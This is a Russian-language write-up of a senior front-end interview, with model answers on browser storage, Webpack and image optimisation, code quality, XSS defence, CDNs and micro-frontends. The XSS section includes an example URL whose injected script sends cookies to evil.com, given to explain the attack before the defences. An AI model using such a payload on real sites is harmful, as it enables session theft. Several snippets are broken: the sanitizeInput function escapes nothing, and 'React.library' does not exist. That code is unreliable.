Frontend Interview Questions Mid/Senior Level
Сегодня мы разберем содержательное собеседование на позицию senior front-end инженера, в ходе которого кандидат последовательно демонстрирует глубокое понимание ключевых аспектов современной веб-разработки: от оптимизации производительности и работы с сетью до архитектурных паттернов и обеспечения безопасности. Особый акцент сделан на практическом применении инструментов сборки, стратегиях кэширования и принципах построения масштабируемых front-end приложений.
Вопрос 1. В чём разница между cookies, local storage и session storage в браузере?
Таймкод: 00:00:28
Ответ собеседника: Правильный. Cookies имеют лимит около 4 КБ, передаются между клиентом и сервером с каждым HTTP-запросом, что делает их удобными для аутентификации. Local storage имеет значительно больший объём и сохраняется бессрочно, подходит для хранения состояния приложения. Session storage удаляется при закрытии вкладки или окна браузера, может использоваться для сохранения данных форм при обновлении страницы.
Правильный ответ:
Все три механизма хранения данных в браузере имеют существенные различия по объёму, времени жизни, области видимости и способу взаимодействия с сервером.
Cookies
- Объём: ограничены примерно 4 КБ на одну cookie (и около 20 доменов с ограничением на общее количество cookie на домен).
- Время жизни: задаётся явно через атрибуты
ExpiresилиMax-Age. Без них — живут до закрытия браузера (session cookies). - Передача на сервер: автоматически включаются в каждый HTTP-запрос к домену через заголовок
Cookie, а сервер устанавливает их через заголовокSet-Cookie. - Атрибуты безопасности:
HttpOnly— запрещает доступ из JavaScript, защищает от XSS-атак.Secure— передача только по HTTPS.SameSite— контроль отправки при кросс-доменных запросах (Strict, Lax, None), защита от CSRF.
- Область видимости: доступны на сервере и клиенте (если не установлен
HttpOnly), разделяются между всеми вкладками и окнами одного домена. - Типичное применение: аутентификационные токены (JWT, session ID), трекинг, настройки пользователя.
Local Storage
- Объём: обычно 5–10 МБ в зависимости от браузера.
- Время жизни: бессрочное, данные не удаляются при закрытии браузера. Очистка происходит только программно или пользователем.
- Передача на сервер: данные не отправляются на сервер автоматически, доступны только через JavaScript.
- Область видимости: привязаны к источнику (origin: протокол + домен + порт), разделяются между всеми вкладками и окнами одного источника.
- API: синхронный (
setItem,getItem,removeItem,clear), работает с типомstring. - Типичное применение: кэширование данных, хранение настроек UI, состояние приложения между сессиями.
Session Storage
- Объём: обычно 5–10 МБ, аналогично local storage.
- Время жизни: данные живут до закрытия вкладки или окна браузера. Обновление страницы и восстановление вкладки (после креша) сохраняют данные, а открытие того же URL в новой вкладке создаёт новую сессию.
- Передача на сервер: не отправляются, доступ только через JavaScript.
- Область видимости: строго привязаны к конкретной вкладке/окну. Даже две вкладки с одним URL имеют изолированные хранилища.
- API: идентичен local storage (
setItem,getItemи т.д.). - Типичное применение: сохранение данных форм при обновлении страницы, временные данные в многошаговых процессах, изоляция состояния между вкладками.
Сравнительная таблица
| Характеристика | Cookies | Local Storage | Session Storage |
|---|---|---|---|
| Объём | ~4 КБ | ~5–10 МБ | ~5–10 МБ |
| Время жизни | Настраиваемое | Бессрочное | До закрытия вкладки |
| Передача на сервер | Да (автоматически) | Нет | Нет |
| Доступ с сервера | Да | Нет | Нет |
| Область видимости | Домен + все вкладки | Origin + все вкладки | Конкретная вкладка |
| Тип данных | String | String | String |
Рекомендации по выбору
Для аутентификации и токенов — cookies с флагами HttpOnly, Secure, SameSite=Lax/Strict. Для хранения клиентского состояния между сессиями — local storage. Для временных данных, привязанных к одной вкладке — session storage. Не стоит хранить чувствительные данные ни в одном из этих хранилищ без шифрования, так как все они доступны через DevTools.
Вопрос 2. Какие оптимизации применяются при создании фронтенд-приложения на React с Webpack для повышения производительности?
Таймкод: 00:02:16
Ответ собеседника: Правильный. Перечислены основные оптимизации: полифиллинг для поддержки старых браузеров, сжатие бандлов (gzip/brotli), минификация и углификация кода с генерацией source maps, code splitting и lazy loading для уменьшения начального бандла, tree shaking для удаления неиспользуемого кода, использование CDN для статики, оптимизация изображений и шрифтов.
Правильный ответ:
Оптимизация фронтенд-приложения на React с Webpack — это многоуровневый процесс, затрагивающий этапы сборки, доставки и выполнения кода в браузере.
1. Оптимизации на этапе сборки
Tree Shaking — удаление мёртвого кода (dead code elimination). Webpack анализирует граф импортов и исключает неиспользуемые экспорты. Для корректной работы библиотеки должны использовать ES-модули (import/export), а в package.json должен быть указан поле "sideEffects": false или массив файлов с побочными эффектами.
// webpack.config.js
module.exports = {
mode: 'production', // автоматически включает tree shaking и минификация
optimization: {
usedExports: true,
minimize: true,
minimizer: [
new TerserPlugin({
terserOptions: {
compress: { drop_console: true }, // удаление console.log
},
}),
],
},
};
Минификация и компрессия — TerserPlugin для JS (входит в production-режим Webpack), CssMinimizerPlugin для CSS. Source maps генерируются отдельно (devtool: 'source-map') и не загружаются пользователями.
Code Splitting — разделение бандла на чанки для уменьшения начального размера загрузки:
// Динамический импорт для ленивой загрузки компонентов
const LazyComponent = React.lazy(() => import('./HeavyComponent'));
function App() {
return (
<Suspense fallback={<div>Loading...</div>}>
<LazyComponent />
</Suspense>
);
}
// webpack.config.js — разделение vendor-кода
optimization: {
splitChunks: {
cacheGroups: {
vendor: {
test: /[\\/]node_modules[\\/]/,
name: 'vendors',
chunks: 'all',
},
},
},
}
2. Оптимизации доставки
Сжатие на сервере — Brotli (br) предпочтительнее gzip по степени сжатия (на 15–20% лучше). Настраивается на уровне Nginx или CDN:
# nginx.conf
brotli on;
brotli_comp_level 6;
brotli_types text/plain text/css application/javascript application/json image/svg+xml;
gzip on;
gzip_comp_level 5;
gzip_types text/plain text/css application/javascript application/json;
CDN (Content Delivery Network) — статические ресурсы (JS, CSS, изображения, шрифты) раздаются через CDN с географически распределёнными серверами. В Webpack настраивается output.publicPath:
output: {
publicPath: 'https://cdn.example.com/assets/',
}
Стратегия кеширования — использование хэшей в именах файлов ([contenthash]) для долгосрочного кеширования:
output: {
filename: '[name].[contenthash:8].js',
chunkFilename: '[name].[contenthash:8].chunk.js',
}
3. Оптимизации на стороне клиента
Оптимизация изображений — использование современных форматов (WebP, AVIF), ленивая загрузка (loading="lazy"), респонсивные изображения (srcset). Webpack-плагины: image-webpack-loader, responsive-loader.
Оптимизация шрифтов — font-display: swap в @font-face для предотвращения FOIT (Flash of Invisible Text), подзагрузка только используемых начертаний и подмножеств символов (subsetting).
Prefetch / Preload — указание браузеру приоритетов загрузки:
<link rel="preload" href="/fonts/main.woff2" as="font" type="font/woff2" crossorigin>
<link rel="prefetch" href="/next-page-chunk.js">
4. Оптимизации React-специфичные
Мемоизация — React.memo для предотвращения лишних ре-рендеров компонентов, useMemo и useCallback для мемоизации значений и функций:
const MemoizedComponent = React.memo(function MyComponent({ data }) {
return <div>{data.name}</div>;
});
const ExpensiveComponent = () => {
const memoizedValue = useMemo(() => computeExpensive(a, b), [a, b]);
const memoizedCallback = useCallback(() => doSomething(a), [a]);
};
Virtualization — для длинных списков использование react-window или react-virtuoso для рендеринга только видимых элементов.
Виртуализация DOM — React Fiber уже реализует инкрементальный рендеринг, но важно избегать глубокой вложенности компонентов и чрезмерного количества контекстов.
5. Мониторинг и метрики
Ключевые метрики Web Vitals: LCP (Largest Contentful Paint), FID (First Input Delay), CLS (Cumulative Layout Shift). Инструменты: Lighthouse, WebPageTest, Chrome DevTools Performance tab, webpack-bundle-analyzer для анализа размера чанков.
// Анализ бандла
const BundleAnalyzerPlugin = require('webpack-bundle-analyzer').BundleAnalyzerPlugin;
plugins: [new BundleAnalyzerPlugin()]
Вопрос 3. Как оптимизировать загрузку больших изображений для максимальной производительности?
Таймкод: 00:06:44
Ответ собеседника: Правильный. Ответ включает: оптимизацию размеров изображений (доставка минимально необходимого размера), сжатие и оптимизацию (удаление метаданных, уменьшение цветового пространства), использование формата WEBP, размещение изображений на CDN с правильными политиками кеширования, lazy loading (в том числе при скролле), указание ширины и высоты для предотвращения layout shift, использование srcset для адаптивной загрузки изображений в зависимости от устройства.
Правильный ответ:
Оптимизация изображений — один из наиболее эффективных способов улучшения производительности, поскольку изображения составляют значительную часть веса веб-страниц.
1. Выбор правильного формата
WebP обеспечивает на 25–35% лучшее сжатие по сравнению с JPEG при том же качестве и поддерживает прозрачность. AVIF — ещё на 20–30% лучше WebP, но поддержка браузерами пока ограничена. JPEG — универсальный выбор для фотографий. PNG — для изображений с прозрачностью и резкими краями (логотипы, иконки). SVG — для векторной графики.
Использование <picture> для прогрессивного улучшения:
<picture>
<source srcset="image.avif" type="image/avif">
<source srcset="image.webp" type="image/webp">
<img src="image.jpg" alt="Product photo" width="800" height="600">
</picture>
2. Адаптивные изображения с srcset и sizes
Атрибут srcset позволяет браузеру выбрать оптимальное изображение в зависимости от плотности пикселей и размера viewport:
<img
srcset="
product-400w.jpg 400w,
product-800w.jpg 800w,
product-1200w.jpg 1200w,
product-1600w.jpg 1600w
"
sizes="
(max-width: 600px) 100vw,
(max-width: 1024px) 50vw,
33vw
"
src="product-800w.jpg"
alt="Product"
width="800"
height="600"
>
Здесь sizes сообщает браузеру, какую ширину будет занимать изображение при разных медиа-условиях, а srcset предоставляет варианты с указанием реальной ширины файла (w-дескриптор).
3. Lazy Loading
Нативный lazy loading — самый простой и производительный способ, не требующий JavaScript:
<img src="product.jpg" loading="lazy" alt="Product" width="800" height="600">
Атрибут loading="lazy" откладывает загрузку изображения до момента, когда оно приблизится к viewport. Для изображений выше скролла (above the fold) используйте loading="eager" или не указывайте атрибут — они должны загружаться немедленно.
Intersection Observer API — для более сложных сценариев (ленивая загрузка фоновых изображений, кастомные триггеры):
const observer = new IntersectionObserver((entries) => {
entries.forEach((entry) => {
if (entry.isIntersecting) {
const img = entry.target;
img.src = img.dataset.src;
img.srcset = img.dataset.srcset || '';
observer.unobserve(img);
}
});
}, { rootMargin: '200px 0px' });
document.querySelectorAll('img[data-src]').forEach((img) => observer.observe(img));
4. Предотвращение Layout Shift (CLS)
Указание атрибутов width и height позволяет браузеру зарезервировать место для изображения до его загрузки:
<img src="product.jpg" width="800" height="600" alt="Product">
Для респонсивных изображений с сохранением пропорций используется CSS-подход с aspect-ratio:
.product-image {
width: 100%;
aspect-ratio: 4 / 3;
object-fit: cover;
}
5. CDN и кеширование
Размещение изображений на CDN с географическим распределением снижает latency. Правильные заголовки кеширования:
# Nginx
location ~* \.(jpg|jpeg|png|webp|avif|gif|svg)$ {
expires 1y;
add_header Cache-Control "public, immutable";
add_header Vary "Accept";
}
Заголовок Vary: Accept критически важен при сервировании разных форматов — он указывает кешам учитывать заголовок Accept клиента при выборе версии.
6. Оптимизация качества и сжатие
Lossy-сжатие — для JPEG качество 75–85% обычно является оптимальным балансом. Для WebP — 75–80%. Lossless-оптимизация — удаление EXIF-метаданных, цветовых проф ICC, ненужных чанков PNG. Инструменты: sharp (Node.js), imagemin, squoosh.
Пример с sharp:
const sharp = require('sharp');
sharp('input.jpg')
.resize(800, 600, { fit: 'inside', withoutEnlargement: true })
.webp({ quality: 80, effort: 6 })
.toFile('output.webp');
7. Placeholder-стратегии
LQIP (Low Quality Image Placeholder) — встраивание маленького размытого изображения в base64 прямо в HTML:
<img
src="data:image/jpeg;base64,/9j/4AAQSkZJR..."
data-src="product-full.jpg"
class="lazy-image"
alt="Product"
>
Blurhash — компактное представление изображения-плейсхолдера (около 20–30 байт), декодируемое на клиенте.
8. Приоритизация загрузки
Для критических изображений (hero-баннеры, первый экран) используйте fetchpriority="high":
<img src="hero.jpg" fetchpriority="high" alt="Hero banner">
Для изображений ниже скролла — fetchpriority="low" или loading="lazy".
9. Сервис-воркеры для офлайн-кеширования
// service-worker.js
self.addEventListener('fetch', (event) => {
if (event.request.destination === 'image') {
event.respondWith(
caches.match(event.request).then((cached) => {
return cached || fetch(event.request).then((response) => {
const clone = response.clone();
caches.open('images-v1').then((cache) => cache.put(event.request, clone));
return response;
});
})
);
}
});
Вопрос 4. Как управлять качеством кода в крупномасштабном фронтенд-приложении?
Таймкод: 00:11:00
Ответ собеседника: Правильный. Предложен комплексный подход: линтеры (Prettier, ESLint, TSLint) для единого стиля кода, юнит-тесты и E2E-тесты, сканирование зависимостей для выявления уязвимостей, проверка доступности (a11y) через линтер, интеграция Lighthouse и Sentry в пайплайн для мониторинга Core Web Vitals и производительности.
Правильный ответ:
Управление качеством кода в крупном фронтенд-проекте — это многоуровневая система, охватывающая от написания кода до мониторинга в production.
1. Форматирование и статический анализ
Prettier — автоматическое форматирование кода. Устраняет споры о стиле на code review. Конфигурируется один раз и применяед единообразно:
// .prettierrc
{
"semi": true,
"singleQuote": true,
"tabWidth": 2,
"trailingComma": "es5",
"printWidth": 100
}
ESLint — статический анализ для выявления потенциальных ошибок, антипаттерн и проблем:
// .eslintrc.js
module.exports = {
extends: [
'eslint:recommended',
'plugin:@typescript-eslint/recommended',
'plugin:react-hooks/recommended',
'plugin:jsx-a11y/recommended', // доступность
'prettier', // совместимость с Prettier
],
rules: {
'no-console': 'warn',
'@typescript-eslint/no-unused-vars': 'error',
'react-hooks/exhaustive-deps': 'error',
},
};
TypeScript — статическая типизация как первая линия обороты. Строгий режим:
// tsconfig.json
{
"compilerOptions": {
"strict": true,
"noUncheckedIndexedAccess": true,
"noImplicitReturns": true,
"exactOptionalPropertyTypes": true
}
}
2. Git-хуки и pre-commit проверки
Husky + lint-staged — автоматический запуск линтеров и форматирования перед каждым коммитом:
// package.json
{
"lint-staged": {
"*.{ts,tsx}": ["eslint --fix", "prettier --write"],
"*.{json,md,yml}": ["prettier --write"]
}
}
npx husky add .husky/pre-commit "npx lint-staged"
Это гарантирует, что в репозиторий не попадает неформатированный или содержащий ошибки код.
3. Тестирование
Unit-тесты — Jest + React Testing Library для проверки отдельных компонентов и утилит:
import { render, screen, fireEvent } from '@testing-library/react';
import { Button } from './Button';
test('calls onClick when clicked', () => {
const handleClick = jest.fn();
render(<Button onClick={handleClick}>Click me</Button>);
fireEvent.click(screen.getByText('Click me'));
expect(handleClick).toHaveBeenCalledTimes(1);
});
Интеграционные тесты — проверка взаимодействия компонентов между собой, работы с API (с использованием MSW для мокирования сетевых запросов).
E2E-тесты — Cypress или Playwright для критических пользовательских сценариев (авторизация, оформление заказа):
// cypress/e2e/checkout.cy.js
describe('Checkout flow', () => {
it('completes purchase', () => {
cy.visit('/products');
cy.get('[data-testid="add-to-cart"]').first().click();
cy.visit('/checkout');
cy.get('#email').fill('test@example.com');
cy.get('#submit').click();
cy.url().should('include', '/success');
});
});
Визуальное регрессионное тестирование — Chromatic или Percy для обнаружения непреднамеренных изменений UI.
4. Code Review
Обязательный code review через pull/merge requests с чёткими критериями: корректность логики, обработка ошибок, типизация, тестовое покрытие, отсутствие утечек памяти. Использование CODEOWNERS для назначения ответственных за разные модули.
5. Сканирование зависимостей и безопасности
# Аудит уязвимостей
npm audit
# или
yarn audit
# Автоматическое обновление (Dependabot, Renovate)
Snyk или GitHub Dependabot для автоматического обнаружения и обновления уязвимых зависимостей. Проверка лицензий зависимостей через license-checker.
6. CI/CD Pipeline
Пример пайплайна в GitHub Actions:
# .github/workflows/ci.yml
name: CI
on: [push, pull_request]
jobs:
quality:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with: { node-version: '20' }
- run: npm ci
- run: npm run lint
- run: npm run type-check
- run: npm run test -- --coverage
- run: npm run build
- name: Lighthouse CI
uses: treosh/lighthouse-ci-action@v10
with:
urls: 'http://localhost:3000'
budgetPath: './lighthouse-budget.json'
7. Мониторинг в Production
Sentry — отслеживание ошибок JavaScript в реальном времени с source maps, контекстом пользователя и стеком вызовов.
Core Web Vitals мониторинг — интеграция web-vitals библиотеки для сбора метрик:
import { onCLS, onFID, onLCP, onFCP, onTTFB, onINP } from 'web-vitals';
function report(metric) {
// Отправка аналитики
navigator.sendBeacon('/analytics', JSON.stringify(metric));
}
onCLS(report);
onLCP(report);
onFID(report);
onINP(report);
Feature flags — постепенный ролаут новых функций с возможностью мгновенного отката (LaunchDarkly, Unleash).
8. Документация и стандарты
Storybook — документация компонентов с примерами использования и визуальными тестами. CONTRIBUTING.md — руководство по внесению изменений. Architecture Decision Records (ADR) — документирование архитектурных решений с контекстом и обоснованием.
Вопрос 5. Что такое XSS-атака и как защитить фронтенд-приложение от неё?
Таймкод: 00:12:24
Ответ собеседника: Правильный. XSS (межсайтовый скриптинг) — атака, при которой злоумышленник внедряет JavaScript-код в базу данных, который затем выполняется в браузерах пользователей. Для защиты необходимо: санитизировать пользовательский ввод, не сохранять JavaScript в базу данных, избегать прямого рендеринга HTML/JS из бэкенда (например, не использовать dangerouslySetInnerHTML в React).
Правильный ответ:
XSS (Cross-Site Scripting) — это класс уязвимостей, позволяющий злоумышленнику внедрить и выполнить произвольный JavaScript-код в контексте браузера другого пользователя.
Типы XSS-атак
Stored XSS (хранимый) — вредоносный код сохраняется на сервере (в базе данных, форуме, комментариях) и отдаётся каждому пользователю, запрашивающему эту страницу. Наиболее опасный тип, так как не требует взаимодействия жертвы с злоумышленником.
Reflected XSS (отражённый) — вредоносный код передаётся в URL или параметрах запроса, сервер включает его в ответ без обработки. Жертва должна перейти по специально сформированной ссылке.
DOM-based XSS — уязвимость существует в клиентском JavaScript-коде. Злоумышленный параметр из URL (location.hash, location.search) передаётся в небезопасную DOM-API (innerHTML, eval, document.write) без обработки.
Пример атаки:
https://example.com/search?q=<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>
Если сервер вставляет q в HTML без экранирования, скрипт выполнится в браузере каждого пользователя, перешедшего по ссылке.
Стратегии защиты
1. Экранирование вывода (Output Encoding)
Главный принцип — никогда не доверять данным и всегда экранировать их в контексте вывода (HTML, JavaScript, URL, CSS).
React автоматически экранирует данные в JSX:
// Безопасно — React экранирует строку
function Comment({ text }) {
return <div>{text}</div>;
}
// <script>alert('xss')</script> отобразится как текст, а не выполнится
Опасный подход в React:
// ОПАСНО — прямая вставка HTML
function Comment({ html }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />;
}
Если dangerouslySetInnerHTML необходим, данные должны быть санитизированы на сервере или через DOMPurify:
import DOMPurify from 'dompurify';
function SafeHTML({ html }) {
const clean = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
ALLOWED_ATTR: ['href', 'target'],
});
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
2. Content Security Policy (CSP)
HTTP-заголовок, ограничивающий источники и типы конкента, которые браузер может загружать:
# Nginx
add_header Content-Security-Policy "
default-src 'self';
script-src 'self' 'nonce-{random}';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
" always;
Использование nonce для inline-скриптов:
<script nonce="random-nonce-value">/* доверенный скрипт */</script>
CSP с script-src 'self' блокирует выполнение inline-скриптов и скриптов с внешних доменов, что делает большинство XSS-атак невозможными даже при наличии уязвимости в коде.
3. Санитизация ввода
Валидация и нормализация данных на входе — дополнительный уровень защиты, но не единственный:
function sanitizeInput(input) {
return input
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
4. Защита токенов
Использование HttpOnly и Secure флагов для cookie делает их недоступными для JavaScript, что предотвращает кражу сессий через XSS:
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax
5. Дополнительные HTTP-заголовки
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: strict-origin-when-cross-origin
6. Безопасные API вместо опасных
// ОПАСНО
element.innerHTML = userInput;
document.write(userInput);
eval(userInput);
// БЕЗОПАСНО
element.textContent = userInput;
element.setAttribute('data-value', userInput);
JSON.parse(userInput); // валидация структуры обязательна
Архитектурный подход — многоуровневая защита (defense in depth): экранирование на выходе как основной щит, CSP как дополнительный барьер, HttpOnly cookies для минимизации ущерба при успешной атаке, регулярный аудит зависимостей для исключения известных уязвимостей.
Вопрос 6. Как работает CDN? Каковы его преимущества и недостатки?
Таймкод: 00:14:46
Ответ собеседника: Правильный. CDN — сеть серверов, которые реплицируют сайт и отдают контент пользователям из ближайшей географической точки (edge location), используя DNS-маршрутизацию на основе латентности. Преимущества: быстрая доставка контента, снижение нагрузки на основной сервер, простота настройки. Провайдеры: AWS CloudFront, Cloudflare, Azure CDN.
Правильный ответ:
CDN (Content Delivery Network) — это географически распределённая сеть прокси-серверов (edge servers / Points of Presence, PoP), которые кэшируют и доставляют контент пользователям из ближайшей точки присутствия.
Принцип работы
1. Без CDN: пользователь в Токио запрашивает ресурс с сервера во Франкфурте. Запрос проходит через множество промежуточных узлов, latency составляет 200–300 мс.
2. С CDN: пользователь в Токио запрашивает ресурс, DNS-резолвер CDN определяет ближайший PoP (например, Токийский) и возвращает его IP. Если ресурс закэширован на edge-сервере — он отдаётся сразу (5–20 мс). Если нет — edge-сервер запрашивает оригинальный сервер (origin), кэширует ответ и отдаёт пользователю.
Механизм маршрутизации:
- DNS-based routing — авторитетный DNS CDN возвращает IP ближайшего PoP на основе IP-адреса резолвера пользователя.
- Anycast routing — один и тот же IP-адрес анонсируется из нескольких точек, маршрутизация BGP направляет трафик к ближайшей.
Кэширование на edge-сервере:
При первом запросе (cache miss) edge-сервер обращается к origin, получает ответ и кэширует его в соответствии с заголовками Cache-Control:
Cache-Control: public, max-age=31536000, immutable
При последующих запросах (cache hit) ресурс отдаётся напрямую из кэша edge-сервера.
Преимущества CDN
Снижение latency — контент доставляется из географически близкой точки, что критически важно для пользователей, удалённых от origin-сервера.
Снижение нагрузки на origin — до 90–95% запросов обрабатываются edge-серверами, что уменьшает расходы на инфраструктуру.
Повышение доступности — распределённая архитектура обеспечивает отказоустойчивость. При выходе из строя одного PoP трафик перенаправляется на соседний.
DDoS-защита — крупные CDN-провайдеры поглощают объёмные атаки на сетевом уровне благодаря распределённой пропускной способности.
Оптимизация контента — многие CDN предлагают автоматическую оптимизацию: сжатие Brotli/gzip, конвертацию изображений в WebP/AVIF, минификацию кода.
Termination TLS — SSL/TLS-соединение завершается на edge-сервере, что снижает нагрузку на origin и ускоряет установку соединения (session resumption, OCSP stapling).
Недостатки CDN
Стоимость — при высоком объёме трафика стоимость CDN может превысить стоимость собственной инфраструктуры. Важно учитывать стоимость исходящего трафика (egress) из origin при cache miss.
Сложность инвалидации кэша — после обновления контента необходимо дожаться истечения TTL или использовать механизмы purge:
# Инвалидация через API Cloudflare
curl -X POST "https://api.cloudflare.com/client/v4/zones/{zone_id}/purge_cache" \
-H "Authorization: Bearer {token}" \
-H "Content-Type: application/json" \
--data '{"files":["https://example.com/style.css"]}'
Решение — использование хэшированных имён файлов (app.a1b2c3d4.js) с долгим кешированием и обновлением ссылок при каждом деплое.
Stale content — при неправильно настроенных TTL пользователи могут получать устаревший контент.
Зависимость от третьей стороны — сбои CDN-провайдера влияют на доступность сервиса. Рекомендуется иметь origin доступным напрямую как fallback.
Ограничения для динамического контента — CDN эффективен преимущественно для статики. Динамические запросы всё равно идут на origin, хотя CDN может ускорить маршрутизацию (TCP connection reuse, route optimization).
Популярные провайдеры
- Cloudflare — обширная бесплатная сеть, встроенная защита от DDoS, Workers для edge-вычислений.
- AWS CloudFront — интеграция с AWS-экосистемой (S3, Lambda@Edge, EC2).
- Fastly — мгновенная инвалидация кэша (purge за 150 мс), VCL для гибкой настройки логики.
- Google Cloud CDN — интеграция с GCP, Global Load Balancing.
- Akamai — один из старейших и крупнейших провайдеров, корпоративный сегмент.
Рекомендации по настройке
# Nginx — правильные заголовки кеширования для CDN
location ~* \.(js|css|png|jpg|webp|avif|woff2)$ {
expires 1y;
add_header Cache-Control "public, immutable";
add_header Vary "Accept-Encoding, Accept";
}
location / {
add_header Cache-Control "no-cache";
}
Использование stale-while-revalidate для плавного обновления:
Cache-Control: public, max-age=60, stale-while-revalidate=86400
Это позволяет отдавать устаревший контент, пока в фоне запрашивается свежая версия с origin.
Вопрос 7. Что такое микрофронтенды и когда их стоит использовать?
Таймкод: 00:16:35
Ответ собеседника: Правильный. Микрофронтенды — архитектура, при которой фронтенд-приложение разбивается на независимые приложения, объединённые оболочкой (shell). Каждый микрофронтенд имеет свой домен и может развертываться независимо. Это ускоряет разработку в больших командах (30+ разработчиков), но добавляет сложность: сложное управление состоянием, необходимость сложного инструментария. Использовать стоит только при необходимости разделения организации на независимые команды, когда монолит замедляет деплой и блокирует команды.
Правильный ответ:
Микрофронтенды — это архитектурный паттерн, при котором единое фронтенд-приложение декомпозируется на полуавтономные фрагменты, каждый из которых разрабатывается, тестируется и деплоится независимо отдельной командой.
Основные подходы к реализации
1. Build-time интеграция — микрофронтенды публикуются как npm-пакеты, shell-приложение импортирует их как зависимости. Простота реализации, но деплой одного микрофронтенда требует пересборки и деплоя всего shell.
2. Runtime интеграция через iframes — каждый микрофронтенд загружается в отдельном iframe. Полная изоляция стилей и JavaScript, но проблемы с производительностью, навигацией, доступностью и коммуникацией между фреймами.
3. Runtime интеграция через JavaScript — загрузка микрофронтендов динамически через import() или загрузку <script>. Пример с Module Federation (Webpack 5):
// shell/webpack.config.js
const ModuleFederationPlugin = require('webpack/lib/container/ModuleFederationPlugin');
module.exports = {
plugins: [
new ModuleFederationPlugin({
name: 'shell',
remotes: {
products: 'products@https://products.example.com/remoteEntry.js',
cart: 'cart@https://cart.example.com/remoteEntry.js',
},
shared: {
react: { singleton: true, requiredVersion: '^18.0.0' },
'react-dom': { singleton: true, requiredVersion: '^18.0.0' },
},
}),
],
};
// Использование в shell
const ProductsPage = React.lazy(() => import('products/Page'));
const CartWidget = React.library(() => import('cart/Widget'));
4. Web Components — каждый микрофронтенд реализуется как кастомный HTML-элемент. Фреймворк-независимость, нативная изоляция через Shadow DOM:
class ProductsElement extends HTMLElement {
connectedCallback() {
const shadow = this.attachShadow({ mode: 'open' });
shadow.innerHTML = `<div>Products Content</div>`;
}
}
customElements.define('mf-products', ProductsElement);
5. Edge-side includes (ESI) / Server-side composition — сборка происходит на уровне CDN или сервера. Edge-сервер запрашивает фрагменты с разных бэкендов и собирает итоговый HTML.
Когда микрофронтенды оправданы
- Большие команды (50+ разработчиков) с чётким разделением по бизнес-доменам, где монолит создаёт блокировки при деплое.
- Разные технологические стеки — части приложения используют разные фреймворки или версии, и миграция на единый стек невозможна за разумный срок.
- Независимые циклы релизов — бизнес-домены требуют разной частоты деплоя (маркетинговая — ежедневно, биллинг — ежемесячно).
- Организационное разделение — компании с автономными продуктовыми командами, каждая из которых владеет своим доменом end-to-end.
Когда микрофронтенды НЕ стоит использовать
- Малые и средние команды (до 20–30 разработчиков) — накладные расходы превышают выгоды.
- Тесно связанный UI — если компоненты активно взаимодействуют и имеют общий state, декомпозиция создаёт больше проблем, чем решает.
- Отсутствие зрелой DevOps-инфраструктуры — микрофронтенды требуют CI/CD для каждого модуля, мониторинга, управления зависимостями.
Ключевые проблемы и решения
Дублирование зависимостей — каждый микрофронтенд может загружать свою копию React, что увеличивает размер бандла. Решение — shared в Module Federation с singleton: true, что гарантирует загрузку одной копии.
Согласованность UI — разные команды могут создавать несогласованный дизайн. Решение — общая дизайн-система как shared-библиотека (Storybook, общие токены и компоненты).
Навигация и роутинг — необходим механизм координации навигации между shell и микрофронтендами. Решение — shell управляет роутингом, микрофронтенды подписываются на изменения маршрутов через события или shared state.
Производительность — множество отдельных бандлов увеличивает количество HTTP-запросов. Решение — HTTP/2 multiplexing, prefetching, shared chunks, предзагрузка критических микрофронтендов.
Тестирование — E2E-тесты усложняются из-за необходимости разворачивать несколько сервисов. Решение — contract testing (Pact), изолированное тестирование каждого микрофронтенда, staging-окружение с полной интеграцией.
